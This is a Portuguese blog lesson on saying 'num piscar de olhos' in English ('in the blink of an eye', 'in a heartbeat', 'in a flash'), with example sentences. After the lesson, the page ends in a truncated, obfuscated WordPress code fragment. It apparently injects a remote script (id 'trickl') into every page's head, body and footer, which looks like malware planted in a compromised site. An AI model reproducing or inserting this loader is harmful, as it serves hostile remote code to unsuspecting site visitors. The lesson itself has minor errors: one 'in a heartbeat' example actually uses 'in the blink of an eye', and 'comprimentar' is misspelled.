O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

Como dizer ‘num piscar de olhos’ em inglês?

num psicar de olhos em inglês

Hoje você vai aprender a falar ‘num piscar de olhos’ em inglês. Essa expressão que usamos comumente em português tem também sua versão em inglês.

Leia também: 5 dicas para aprender inglês sozinho

Num piscar de olhos em inglês

Para falar isso em inglês usaremos a expressão: in the blink of an eye. Literalmente essa expressão se traduz para ‘num piscar de olhos’.

Usamos essa expressão da mesma maneira que em português, quando queremos falar que alguma coisa foi muito rápido e quase imperceptível.

Atente-se, no entanto, que existem diversos verbos para falar ‘piscar’ em inglês. Temos ‘blink’ e ‘wink’. 

O verbo ‘blink’ é usado quando falamos de ambos os olhos. Portanto, ‘blink’ é piscar os olhos. Caso, por exemplo, uma luz comece a piscar também usamos ‘blink’. 

Já ‘wink’ indica uma ação demorada geralmente para comprimentar alguém ou demonstrar interesse sexual e até mesmo que você não é sério no que diz. Nesse sentido ‘wink’ é aquela piscadela que damos ao outro.

Portanto, poderíamos dizer que a diferença entre ‘blink’ e ‘wink’ é que blink são os olhos e ‘wink’ é um olho só. 

Porém voltando a ‘num piscar de olhos’ em inglês, teremos que a única opção para traduzir essa expressão é ‘in the blink of an eye’. 

Outras opções que você pode usar é ‘in a heartbeat’ que literalmente significa ‘numa batida do coração’.

Uma terceira opção é ‘in a flash’, que significa também ‘num piscar de olhos’ em inglês. 

Exemplos:

1 – In the blink of an eye

The building went down in the blink of an eye. (O prédio caiu num piscar de olhos)

He went from calm to angry in the blink of an eye. (Ele foi de calmo a estressado num piscar de olhos)

Kids get hurt in the blink of an eye. (Crianças se machucam num piscar de olhos)

2 – In a heartbeat

I’ll be there in the blink of an eye. (Eu vou estar aí num piscar de olhos – literalmente numa batida do coração)

Their new album sold out in a heartbeat. (O novo albúm deles esgotou num piscar de olhos)

3 – In a flash

I bought his new book in a flash. (Eu comprei seu novo livro num piscar de olhos)

Get dressed in a flash! (Vista-se num piscar de olhos)

Gostou? Agora, que tal ver outras expressões importantes que podem te ajudar com seu inglês? 

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>